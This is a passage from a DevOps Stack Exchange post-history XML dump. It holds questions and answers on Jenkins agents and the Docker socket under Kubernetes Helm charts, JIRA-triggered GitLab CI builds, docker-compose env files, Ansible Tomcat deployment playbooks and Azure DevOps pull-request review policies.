https://devops.stackexchange.com/q/711" ContentLicense="CC BY-SA 4.0" />
  <row Id="40456" PostHistoryTypeId="5" PostId="2069" RevisionGUID="64a790ba-8c2f-4374-b28c-d0db50229b44" CreationDate="2021-01-15T18:36:39.227" UserId="2845" Comment="added 74 characters in body" Text="Yes, it is possible, but it takes a bit of work. I assume that the concern with duplicating the database is 1) time and 2) size/storage, otherwise it seems like it would be trivial to spawn databases for testing against. Based on the fact that you are targeting PL/SQL i'm guessing you are working with Oracle.&#xD;&#xA;&#xD;&#xA;You will either need: 1) a smaller-scale dataset that can act as a representative sample of you data which is sufficient for testing all of your corner cases or 2) to clone the *whole* production database. Honestly, I recommend option #2. There are numerous cases where things operate correctly at a smaller scale, but run into issues once scaled up - especially with database data. Ideally, you could store and replay a sample of queries for load testing using a database proxy like ScaleArc (if Oracle won't let you store your queries).&#xD;&#xA;&#xD;&#xA;Saying you need to clone your whole dataset may make me sound like a kook and like it will take forever, but you may find this answer in which I detail a methodology for [cloning multi-terabyte databases in seconds](https://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases/1220#1220) without significantly increasing your storage costs due to duplication and delta-snapshotting useful. This may be harder if you are using Oracle's proprietary storage system. Be forewarned, the tech isn't cheap, but if you wanted cheap, you wouldn't be using Oracle. The best way to sell that to your upper management is to prove that the tech is cheaper than the outage/data mangling it would prevent. It's your insurance policy against outages - so how much insurance are you willing to buy?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40470" PostHistoryTypeId="2" PostId="13147" RevisionGUID="5282dfde-0dc8-4896-8480-18941e9b1882" CreationDate="2021-01-16T00:10:41.853" UserId="16434" Text="I would like to start builds in `GitLab CI` in response to `issue transitions` in `JIRA`. &#xD;&#xA;&#xD;&#xA;I have not found a direct way to do that from searching online. I have found ways to get GitLab to tell JIRA what to do, but seemingly no solutions in the other direction. &#xD;&#xA;&#xD;&#xA;We have a constraint which would make `JIRA` to `GitLab` messages very helpful: we must deploy to servers under the rule that a branch gets deployed &#xD;&#xA;&#xD;&#xA; 1. to ...test.example.com when the JIRA issue has status `QA`&#xD;&#xA; 2. to ...stage.example.com when the JIRA issue has status `Stage`&#xD;&#xA; 3. to ...beta.example.com when the JIRA issue has status `Beta`&#xD;&#xA; 4. to ....example.com when the JIRA issue has status `Done`&#xD;&#xA;&#xD;&#xA;Note that we have added a `Merge Request` field to issues in our `JIRA`, so we know &quot;the branch for an issue&quot; (and &quot;the issues for a branch&quot;). &#xD;&#xA;&#xD;&#xA;To satisfy this constraint we run a python script to do deploys for `QA`, `Stage`, `Beta` every hour in a crontab for every project. That script has too many top-level loops, and too many features (being old).&#xD;&#xA;&#xD;&#xA;Instead I would prefer to have `JIRA` notify that an issue is ready for re-build, and then ask our `GitLab CI` to re-build the relevant `Merge Request`.&#xD;&#xA;&#xD;&#xA;It seems we will have to supply our own `REST api` to which `JIRA` can `post` messages, and can then ping `GitLab`. That's a new internal app, which will need maintenance, and gain features, so I would like to find out if there are any other solutions." ContentLicense="CC BY-SA 4.0" />
  <row Id="40471" PostHistoryTypeId="1" PostId="13147" RevisionGUID="5282dfde-0dc8-4896-8480-18941e9b1882" CreationDate="2021-01-16T00:10:41.853" UserId="16434" Text="How do I get GitLab CI to rebuild when JIRA issue changes status?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40472" PostHistoryTypeId="3" PostId="13147" RevisionGUID="5282dfde-0dc8-4896-8480-18941e9b1882" CreationDate="2021-01-16T00:10:41.853" UserId="16434" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40473" PostHistoryTypeId="2" PostId="13148" RevisionGUID="2addc797-f5bf-4fd0-bc72-059b78baea9e" CreationDate="2021-01-16T00:55:43.280" UserId="23647" Text="I have been using older version of Jenkins on Kubernetes with the Kubernetes plug spinning up Jenkins Agents deployed by the official Helm charts. I've had no issues with them. In fact I currently have many clusters running Jenkins with K8s plugin spinning up jenkins agents all deployed via official helm charts working just fine. However they are slightly older versions. By slightly I might very slightly, like only 1 or 2 releases behind (roughly no more than a month). I plan on upgrading them if I had this one working correctly. Point is, this is nothing new to me. Just these particular versions. Now that you have the background.&#xD;&#xA;&#xD;&#xA;When a jenkins agent spins up and runs a docker command. Let's say `docker build`. If I configure in the kubernetes plugin settings to mount the `/var/run/docker.sock` I get permissions denied. If I remove it, I get `Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?`. These are the agents. I already have the `/var/run/docker.sock` mounted on the &quot;Controller&quot; (in the new [Jenkins Helm Chart v3.1.1][1]), it use to be &quot;Master&quot;. And I can run `docker ps` and see all of my pods running on that kubernetes node. So I know this is working just fine in master/controller.&#xD;&#xA;&#xD;&#xA;I have built my own Jenkins images. But only to add tools such as `kubectl`, `docker` and `aws cli`, etc in. They are all from the [official Jenkins Master][2] and [inbound-agent][3] images. I have not changed anything with the system or permissions wise, except `usermod -a -G docker jenkins`. I am aware a little about how the inbound agent has changed how it connects to the docker socket. Though I'm still not fully clear on this.&#xD;&#xA;&#xD;&#xA;I come here today, because I don't know if I should post this to Jenkins dockerhub repos, or the kubernetes plugin, or the jenkins helm chart repo? The kubernetes plugin settings certainly look different. And the chart changed a lot. They are now using statefulsets where as 2.x.x was not.&#xD;&#xA;&#xD;&#xA;Here is my Helm `values.yaml`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;controller:&#xD;&#xA;  image: &quot;&lt;my-image&gt;&quot;&#xD;&#xA;  tag: &quot;&lt;my-tag&gt;&quot;&#xD;&#xA;agent:&#xD;&#xA;  jenkinsUrl: &quot;http://jenkins.jenkins.svc.cluster.local:8080&quot;&#xD;&#xA;  jenkinsTunnel: &quot;jenkins-agent.jenkins.svc.cluster.local:50000&quot;&#xD;&#xA;  namespace: &quot;jenkins&quot;&#xD;&#xA;  image: &quot;&lt;my-image&gt;&quot;&#xD;&#xA;  tag: &quot;&lt;my-tag&gt;&quot;&#xD;&#xA;  imagePullSecretName: &quot;registrykey&quot;&#xD;&#xA;  podName: &quot;jenkins-agent&quot;&#xD;&#xA;persistence:&#xD;&#xA;  size: &quot;250Gi&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I added to the `templates/jenkins-controller-statefuleset.yaml`. I don't know if this is the best way. But I couldn't seem to find anyone else doing it any other way.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: docker-socket&#xD;&#xA;    mountPath: /var/run/docker.sock&#xD;&#xA;volumes:&#xD;&#xA;  - name: docker-socket&#xD;&#xA;    hostPath:&#xD;&#xA;      path: /var/run/docker.sock&#xD;&#xA;      type: Socket&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I checked off to have the raw yaml output in the console for debugging and this is what I get&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Agent jenkins-agent-brp6s is provisioned from template jenkins-agent&#xD;&#xA;---&#xD;&#xA;apiVersion: &quot;v1&quot;&#xD;&#xA;kind: &quot;Pod&quot;&#xD;&#xA;metadata:&#xD;&#xA;  labels:&#xD;&#xA;    jenkins/jenkins-jenkins-agent: &quot;true&quot;&#xD;&#xA;    jenkins/label-digest: &quot;3756805d9a07b9b4e6e92045b5d40394dcc52845&quot;&#xD;&#xA;    jenkins/label: &quot;jenkins-jenkins-agent&quot;&#xD;&#xA;  name: &quot;jenkins-agent-brp6s&quot;&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - args:&#xD;&#xA;    - &quot;********&quot;&#xD;&#xA;    - &quot;jenkins-agent-brp6s&quot;&#xD;&#xA;    env:&#xD;&#xA;    - name: &quot;JENKINS_SECRET&quot;&#xD;&#xA;      value: &quot;********&quot;&#xD;&#xA;    - name: &quot;JENKINS_TUNNEL&quot;&#xD;&#xA;      value: &quot;jenkins-agent.jenkins.svc.cluster.local:50000&quot;&#xD;&#xA;    - name: &quot;JENKINS_AGENT_NAME&quot;&#xD;&#xA;      value: &quot;jenkins-agent-brp6s&quot;&#xD;&#xA;    - name: &quot;JENKINS_NAME&quot;&#xD;&#xA;      value: &quot;jenkins-agent-brp6s&quot;&#xD;&#xA;    - name: &quot;JENKINS_AGENT_WORKDIR&quot;&#xD;&#xA;      value: &quot;/home/jenkins&quot;&#xD;&#xA;    - name: &quot;JENKINS_URL&quot;&#xD;&#xA;      value: &quot;http://jenkins.jenkins.svc.cluster.local:8080&quot;&#xD;&#xA;    image: &quot;123456789012.dkr.ecr.us-east-1.amazonaws.com/jenkins:inbound-agent-4.6-1&quot;&#xD;&#xA;    imagePullPolicy: &quot;Always&quot;&#xD;&#xA;    name: &quot;jnlp&quot;&#xD;&#xA;    resources:&#xD;&#xA;      limits:&#xD;&#xA;        memory: &quot;512Mi&quot;&#xD;&#xA;        cpu: &quot;512m&quot;&#xD;&#xA;      requests:&#xD;&#xA;        memory: &quot;512Mi&quot;&#xD;&#xA;        cpu: &quot;512m&quot;&#xD;&#xA;    securityContext:&#xD;&#xA;      privileged: true&#xD;&#xA;    tty: true&#xD;&#xA;    volumeMounts:&#xD;&#xA;    - mountPath: &quot;/home/jenkins&quot;&#xD;&#xA;      name: &quot;workspace-volume&quot;&#xD;&#xA;      readOnly: false&#xD;&#xA;    workingDir: &quot;/home/jenkins&quot;&#xD;&#xA;  hostNetwork: false&#xD;&#xA;  imagePullSecrets:&#xD;&#xA;  - name: &quot;registrykey&quot;&#xD;&#xA;  nodeSelector:&#xD;&#xA;    kubernetes.io/os: &quot;linux&quot;&#xD;&#xA;  restartPolicy: &quot;Never&quot;&#xD;&#xA;  serviceAccount: &quot;jenkins-agent&quot;&#xD;&#xA;  volumes:&#xD;&#xA;  - emptyDir:&#xD;&#xA;      medium: &quot;&quot;&#xD;&#xA;    name: &quot;workspace-volume&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;A short example of my `Jenkinsfile`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/usr/bin/env groovy&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;  agent any&#xD;&#xA;&#xD;&#xA;  stages {&#xD;&#xA;    stage('Build and Push Docker Image') {&#xD;&#xA;      steps {&#xD;&#xA;        script {&#xD;&#xA;          sh &quot;docker build -t &lt;my-image:tag&gt; .&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Everything inside the agent before the `docker` command works just fine. Everything else I have been trying to change and toggle to get this to work has been in the kubernetes plugin settings which is at `jenkins-url.example.com/configureClouds/`. The &quot;Test Connection&quot; says connected. I've tried changing the &quot;Jenkins URL&quot;, and the &quot;Jenkins tunnel&quot; values to many things. They usually don't work. I've tried running it as &quot;Privileged&quot; and that did not work. Any idea what changed and why it would cause this issue, and any idea of how to get this connecting to the Jenkins master/controller docker socket again? Maybe I should start using the official docker command in the `Jenkinsfile`'s rather than writing it inside a `sh &quot;...&quot;`?&#xD;&#xA;&#xD;&#xA; - Jenkins Helm Chart Version: `3.1.1`&#xD;&#xA; - Jenkins Master Docker Image: `jenkins/jenkins:2.263.1`&#xD;&#xA; - Jenkins Inbound-agent Docker Image Tag: `jenkins/inbound-agent:4.6-1`&#xD;&#xA; - Kubernetes Plugin: `1.28.6`&#xD;&#xA; - Helm: `3.4.2`&#xD;&#xA; - Kubernetes: `1.18.8`&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/helm-charts/tree/main/charts/jenkins&#xD;&#xA;  [2]: https://hub.docker.com/r/jenkins/jenkins&#xD;&#xA;  [3]: https://hub.docker.com/r/jenkins/inbound-agent/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40474" PostHistoryTypeId="1" PostId="13148" RevisionGUID="2addc797-f5bf-4fd0-bc72-059b78baea9e" CreationDate="2021-01-16T00:55:43.280" UserId="23647" Text="Jenkins agent fails to connect to docker socket in latest helm chart" ContentLicense="CC BY-SA 4.0" />
  <row Id="40475" PostHistoryTypeId="3" PostId="13148" RevisionGUID="2addc797-f5bf-4fd0-bc72-059b78baea9e" CreationDate="2021-01-16T00:55:43.280" UserId="23647" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40476" PostHistoryTypeId="5" PostId="13142" RevisionGUID="29f3f392-c071-4a3a-9228-471ca0667bab" CreationDate="2021-01-16T06:21:24.757" UserId="25633" Comment="edited body" Text="Is it possible to substitute (without the use of external tools like `envsubst`) values in an environment file used in docker-compose (using `env_file`) with values on a `.env` file in the folder?&#xD;&#xA;&#xD;&#xA;Say I have this `.env` file:&#xD;&#xA;```ini&#xD;&#xA;REGISTRY=something&#xD;&#xA;TAG=something-else&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now in my `docker-compose.yml` I can have:&#xD;&#xA;```yaml&#xD;&#xA;# ...&#xD;&#xA;   my_service:&#xD;&#xA;      environment:&#xD;&#xA;        - USE_IMAGE:${REGISTRY}/my_image:${TAG}&#xD;&#xA;# ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What I'd like is having a different environment file (say, `myservice.env`), like this:&#xD;&#xA;```ini&#xD;&#xA;USE_IMAGE=${REGISTRY}/my_image:${TAG}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And use it on the compose file like:&#xD;&#xA;```yaml&#xD;&#xA;# ...&#xD;&#xA;   my_service:&#xD;&#xA;      env_file:&#xD;&#xA;        - myservice.env&#xD;&#xA;# ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However by default, docker-compose (which is the one reading the .env file) doesn't seem to be substituting anything on the other files and I get the literal value.&#xD;&#xA;&#xD;&#xA;Is there a way to do this without requiring to have a &quot;rendered&quot; file, directly with docker compose?&#xD;&#xA;&#xD;&#xA;I understand I could make a script to pre-process those files using `envsubst` or something similar, but I'm trying to find a solution without that&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40477" PostHistoryTypeId="50" PostId="10904" RevisionGUID="1c2608ba-84fc-44d8-bab9-153592176387" CreationDate="2021-01-16T11:02:35.473" UserId="-1" />
  <row Id="40478" PostHistoryTypeId="5" PostId="13148" RevisionGUID="a0e8050d-b484-42c0-a6dc-454d0cb4f4c3" CreationDate="2021-01-16T16:24:58.217" UserId="23647" Comment="Updated the question to try and make it clearer of what the issue is and what I'm asking" Text="# Preface #&#xD;&#xA;I have been using older version of Jenkins on Kubernetes with the Kubernetes plug spinning up Jenkins Agents deployed by the official Helm charts. I've had no issues with them. In fact I currently have many clusters running Jenkins with K8s plugin spinning up jenkins agents all deployed via official helm charts working just fine. However they are slightly older versions. By slightly I might very slightly, like only 1 or 2 releases behind (roughly no more than a month). I plan on upgrading them if I had this one working correctly. Point is, this is nothing new to me. Just these particular versions. Now that you have the background.&#xD;&#xA;&#xD;&#xA;# Context #&#xD;&#xA;When a jenkins agent spins up and runs a docker command. Let's say `docker build`. If I configure in the kubernetes plugin settings to mount the `/var/run/docker.sock` I get permissions denied. If I remove it, I get `Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?`. These are the agents. I already have the `/var/run/docker.sock` mounted on the &quot;Controller&quot; (in the new [Jenkins Helm Chart v3.1.1][1]), it use to be &quot;Master&quot;. And I can run `docker ps` and see all of my pods running on that kubernetes node. So I know this is working just fine in master/controller.&#xD;&#xA;&#xD;&#xA;I have built my own Jenkins images. But only to add tools such as `kubectl`, `docker` and `aws cli`, etc in. They are all from the [official Jenkins Master][2] and [inbound-agent][3] images. I have not changed anything with the system or permissions wise, except `usermod -a -G docker jenkins`. I am aware a little about how the inbound agent has changed how it connects to the docker socket. Though I'm still not fully clear on this.&#xD;&#xA;&#xD;&#xA;I come here today, because I don't know if I should post this to Jenkins dockerhub repos, or the kubernetes plugin, or the jenkins helm chart repo? The kubernetes plugin settings certainly look different. And the chart changed a lot. They are now using statefulsets where as 2.x.x was not.&#xD;&#xA;&#xD;&#xA;# Question #&#xD;&#xA;Why since the latest change to the official Jenkins Helm Chart of version 3.x.x can my jenkins agents no longer are able to use the mounted docker socket like I am able to with older official helm chart version of 2.x.x.? Is anyone else running into this issue? Or have discovered new configuration changes that must be made in order to get the agents once again able to mount and use the docker socket successfully?&#xD;&#xA;&#xD;&#xA;Here is my Helm `values.yaml`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;controller:&#xD;&#xA;  image: &quot;&lt;my-image&gt;&quot;&#xD;&#xA;  tag: &quot;&lt;my-tag&gt;&quot;&#xD;&#xA;agent:&#xD;&#xA;  jenkinsUrl: &quot;http://jenkins.jenkins.svc.cluster.local:8080&quot;&#xD;&#xA;  jenkinsTunnel: &quot;jenkins-agent.jenkins.svc.cluster.local:50000&quot;&#xD;&#xA;  namespace: &quot;jenkins&quot;&#xD;&#xA;  image: &quot;&lt;my-image&gt;&quot;&#xD;&#xA;  tag: &quot;&lt;my-tag&gt;&quot;&#xD;&#xA;  imagePullSecretName: &quot;registrykey&quot;&#xD;&#xA;  podName: &quot;jenkins-agent&quot;&#xD;&#xA;persistence:&#xD;&#xA;  size: &quot;250Gi&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I added to the `templates/jenkins-controller-statefuleset.yaml`. I don't know if this is the best way. But I couldn't seem to find anyone else doing it any other way.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: docker-socket&#xD;&#xA;    mountPath: /var/run/docker.sock&#xD;&#xA;volumes:&#xD;&#xA;  - name: docker-socket&#xD;&#xA;    hostPath:&#xD;&#xA;      path: /var/run/docker.sock&#xD;&#xA;      type: Socket&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I checked off to have the raw yaml output in the console for debugging and this is what I get&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Agent jenkins-agent-brp6s is provisioned from template jenkins-agent&#xD;&#xA;---&#xD;&#xA;apiVersion: &quot;v1&quot;&#xD;&#xA;kind: &quot;Pod&quot;&#xD;&#xA;metadata:&#xD;&#xA;  labels:&#xD;&#xA;    jenkins/jenkins-jenkins-agent: &quot;true&quot;&#xD;&#xA;    jenkins/label-digest: &quot;3756805d9a07b9b4e6e92045b5d40394dcc52845&quot;&#xD;&#xA;    jenkins/label: &quot;jenkins-jenkins-agent&quot;&#xD;&#xA;  name: &quot;jenkins-agent-brp6s&quot;&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - args:&#xD;&#xA;    - &quot;********&quot;&#xD;&#xA;    - &quot;jenkins-agent-brp6s&quot;&#xD;&#xA;    env:&#xD;&#xA;    - name: &quot;JENKINS_SECRET&quot;&#xD;&#xA;      value: &quot;********&quot;&#xD;&#xA;    - name: &quot;JENKINS_TUNNEL&quot;&#xD;&#xA;      value: &quot;jenkins-agent.jenkins.svc.cluster.local:50000&quot;&#xD;&#xA;    - name: &quot;JENKINS_AGENT_NAME&quot;&#xD;&#xA;      value: &quot;jenkins-agent-brp6s&quot;&#xD;&#xA;    - name: &quot;JENKINS_NAME&quot;&#xD;&#xA;      value: &quot;jenkins-agent-brp6s&quot;&#xD;&#xA;    - name: &quot;JENKINS_AGENT_WORKDIR&quot;&#xD;&#xA;      value: &quot;/home/jenkins&quot;&#xD;&#xA;    - name: &quot;JENKINS_URL&quot;&#xD;&#xA;      value: &quot;http://jenkins.jenkins.svc.cluster.local:8080&quot;&#xD;&#xA;    image: &quot;123456789012.dkr.ecr.us-east-1.amazonaws.com/jenkins:inbound-agent-4.6-1&quot;&#xD;&#xA;    imagePullPolicy: &quot;Always&quot;&#xD;&#xA;    name: &quot;jnlp&quot;&#xD;&#xA;    resources:&#xD;&#xA;      limits:&#xD;&#xA;        memory: &quot;512Mi&quot;&#xD;&#xA;        cpu: &quot;512m&quot;&#xD;&#xA;      requests:&#xD;&#xA;        memory: &quot;512Mi&quot;&#xD;&#xA;        cpu: &quot;512m&quot;&#xD;&#xA;    securityContext:&#xD;&#xA;      privileged: true&#xD;&#xA;    tty: true&#xD;&#xA;    volumeMounts:&#xD;&#xA;    - mountPath: &quot;/home/jenkins&quot;&#xD;&#xA;      name: &quot;workspace-volume&quot;&#xD;&#xA;      readOnly: false&#xD;&#xA;    workingDir: &quot;/home/jenkins&quot;&#xD;&#xA;  hostNetwork: false&#xD;&#xA;  imagePullSecrets:&#xD;&#xA;  - name: &quot;registrykey&quot;&#xD;&#xA;  nodeSelector:&#xD;&#xA;    kubernetes.io/os: &quot;linux&quot;&#xD;&#xA;  restartPolicy: &quot;Never&quot;&#xD;&#xA;  serviceAccount: &quot;jenkins-agent&quot;&#xD;&#xA;  volumes:&#xD;&#xA;  - emptyDir:&#xD;&#xA;      medium: &quot;&quot;&#xD;&#xA;    name: &quot;workspace-volume&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;A short example of my `Jenkinsfile`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/usr/bin/env groovy&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;  agent any&#xD;&#xA;&#xD;&#xA;  stages {&#xD;&#xA;    stage('Build and Push Docker Image') {&#xD;&#xA;      steps {&#xD;&#xA;        script {&#xD;&#xA;          sh &quot;docker build -t &lt;my-image:tag&gt; .&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Everything inside the agent before the `docker` command works just fine. Everything else I have been trying to change and toggle to get this to work has been in the kubernetes plugin settings which is at `jenkins-url.example.com/configureClouds/`. The &quot;Test Connection&quot; says connected. I've tried changing the &quot;Jenkins URL&quot;, and the &quot;Jenkins tunnel&quot; values to many things. They usually don't work. I've tried running it as &quot;Privileged&quot; and that did not work. Any idea what changed and why it would cause this issue, and any idea of how to get this connecting to the Jenkins master/controller docker socket again? Maybe I should start using the official docker command in the `Jenkinsfile`'s rather than writing it inside a `sh &quot;...&quot;`?&#xD;&#xA;&#xD;&#xA; - Jenkins Helm Chart Version: `3.1.1`&#xD;&#xA; - Jenkins Master Docker Image: `jenkins/jenkins:2.263.1`&#xD;&#xA; - Jenkins Inbound-agent Docker Image Tag: `jenkins/inbound-agent:4.6-1`&#xD;&#xA; - Kubernetes Plugin: `1.28.6`&#xD;&#xA; - Helm: `3.4.2`&#xD;&#xA; - Kubernetes: `1.18.8`&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/helm-charts/tree/main/charts/jenkins&#xD;&#xA;  [2]: https://hub.docker.com/r/jenkins/jenkins&#xD;&#xA;  [3]: https://hub.docker.com/r/jenkins/inbound-agent/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40479" PostHistoryTypeId="2" PostId="13149" RevisionGUID="1223b9b5-f554-4d11-81c8-d13e6093f436" CreationDate="2021-01-16T17:45:03.893" UserId="17486" Text="First - [@caxcaxcoatl][1] is completly right - your playbook is not Ansible, it is a bash script inside Ansible and that isn't Ansible. &#xD;&#xA;&#xD;&#xA;Your error doesn't have something to do with your playbook, but with that, what the playbook is doing. You're redeploying an application and then the proxy in front of the Tomcat cannot read the response from your Tomcat. So your deployment is wrong, has some failures, what ever. You should have a look at your Tomcat HTTP response (without the Proxy in front) direct on the machine (with `curl`, `telnet` or whatever). Maybe you should also check the logs of Tomcat to get the error. The proxy sends the error, because the Tomcat is answering with a 500 HTTP error code, when the proxy hits `/portal-client/cm/misalud/`. &#xD;&#xA;&#xD;&#xA;To give you a hint, how a playbook could look like (of course this wasn't the question, and it could be done much better then this with includes for a unspecific WAR and just call include_tasks on all available WARs in the main playbook, or with a Ansible module written in Python just giving the params of the new WAR etc.):&#xD;&#xA;&#xD;&#xA;    - name: Deploy war&#xD;&#xA;      hosts: grupo1&#xD;&#xA;      vars:&#xD;&#xA;        webapps_cur &quot;/opt/tomcat/catalina_base/webapps&quot;&#xD;&#xA;        webapps_old: &quot;/opt/tomcat/catalina_base/webapps.old&quot;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: &quot;Stop Tomcat&quot;&#xD;&#xA;          systemd:&#xD;&#xA;            name: tomcat&#xD;&#xA;            state: stopped&#xD;&#xA;&#xD;&#xA;        - name: &quot;Delete old Backup WARs&quot;&#xD;&#xA;          file:&#xD;&#xA;            path: &quot;{{ webapps_old }}/{{ item }}&quot;&#xD;&#xA;            state: absent&#xD;&#xA;          with_items:&#xD;&#xA;            - &quot;portal-admin&quot;&#xD;&#xA;            - &quot;portal-client&quot;&#xD;&#xA;&#xD;&#xA;        - name: &quot;Backup the current WARs&quot;&#xD;&#xA;          copy:&#xD;&#xA;            src: &quot;{{ webapps_cur }}/{{ item }}&quot;&#xD;&#xA;            dest: &quot;{{ webapps_old }}/{{ item }}&quot;&#xD;&#xA;            remote_src: true&#xD;&#xA;          with_items:&#xD;&#xA;            - &quot;portal-admin&quot;&#xD;&#xA;            - &quot;portal-client&quot;&#xD;&#xA;    &#xD;&#xA;        - name: &quot;Delete the current WARs&quot;&#xD;&#xA;          file:&#xD;&#xA;            path: &quot;{{ webapps_cur }}/{{ item }}&quot;&#xD;&#xA;            state: absent&#xD;&#xA;          with_items:&#xD;&#xA;            - &quot;portal-admin&quot;&#xD;&#xA;            - &quot;portal-client&quot;&#xD;&#xA;    &#xD;&#xA;        - name: &quot;Deploy new WARs&quot;&#xD;&#xA;          unarchive:&#xD;&#xA;            src: &quot;/tmp/{{ item }}.war&quot;&#xD;&#xA;            dest: &quot;{{ webapps_cur }}/{{ item }}&quot;&#xD;&#xA;            user: &quot;tomcat&quot;&#xD;&#xA;            group: &quot;tomcat&quot;&#xD;&#xA;          with_items:&#xD;&#xA;            - &quot;portal-admin&quot;&#xD;&#xA;            - &quot;portal-client&quot;&#xD;&#xA;    &#xD;&#xA;        - name: &quot;Start Tomcat&quot;&#xD;&#xA;          systemd:&#xD;&#xA;            name: tomcat&#xD;&#xA;            state: started&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/16819/caxcaxcoatl" ContentLicense="CC BY-SA 4.0" />
  <row Id="40480" PostHistoryTypeId="2" PostId="13150" RevisionGUID="02e18cfb-0e1d-4610-aa7f-4477e516345d" CreationDate="2021-01-16T18:37:30.730" UserId="17486" Text="When I have a look at your posted output and compare it to mine, there is something wrong:&#xD;&#xA;&#xD;&#xA;    ok: [localhost] =&gt; {&#xD;&#xA;        &quot;msg&quot;: &quot;357&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;That output comes from the debug message. But only with `debug msg={{ value }}` and not with `debug var={{ value }}`. When I do it with var= then I get (in my case) `&quot;32&quot;: &quot;32&quot;` as a response.&#xD;&#xA;&#xD;&#xA;But that's not the problem. The problem is:&#xD;&#xA;&#xD;&#xA;    - name: Show diff variable&#xD;&#xA;      debug:&#xD;&#xA;        var: diff&#xD;&#xA;&#xD;&#xA;The name `diff` for the variable is somehow reserved. You need to set the diff as Jinja&#xD;&#xA;&#xD;&#xA;    - name: Show diff variable&#xD;&#xA;      debug:&#xD;&#xA;        var: &quot;{{ diff }}&quot;&#xD;&#xA;&#xD;&#xA;And then I see&#xD;&#xA;&#xD;&#xA;    ok: [localhost] =&gt; {&#xD;&#xA;        &quot;32&quot;: &quot;32&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When I rename the variable to `diffa` everything is normal. I can't find any documentation for it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: Show mount of days with dedug module&#xD;&#xA;      set_fact:&#xD;&#xA;        diffa: &quot;{{ (( x2 | to_datetime('%d-%m-%Y')) - ( x1  | to_datetime('%d-%m-%Y'))).days }}&quot;&#xD;&#xA;&#xD;&#xA;    - name: Show mount of days with dedug module&#xD;&#xA;      debug:&#xD;&#xA;        var: diffa&#xD;&#xA;&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;    TASK [Show mount of days with dedug module] *********************************************&#xD;&#xA;    ok: [localhost] =&gt; {&#xD;&#xA;        &quot;diffa&quot;: &quot;32&quot;&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40482" PostHistoryTypeId="50" PostId="11396" RevisionGUID="81da3328-f6b9-4858-acba-ecc74171c0c4" CreationDate="2021-01-17T13:03:00.243" UserId="-1" />
  <row Id="40483" PostHistoryTypeId="2" PostId="13151" RevisionGUID="09de2a3e-d115-4fd5-8e7d-23600286e77b" CreationDate="2021-01-17T14:41:59.033" UserId="25664" Text="Is it possible to configure the repository to skip &quot;At least one reviewer must approve the most recent iteration&quot; in case the person who performs the Pull request is the project administrator?&#xD;&#xA;&#xD;&#xA;I have the below branch Policy:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I made the review approbation for my own commit.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;But when I'm going to complete the pull request, I get the below message:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&gt; At least one reviewer must approve the most recent iteration.&#xD;&#xA;&#xD;&#xA;It's possible to skip review requirement only for project administrators?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/aKeOt.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/YFjNH.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/dyOwI.png" ContentLicense="CC BY-SA 4.0" />
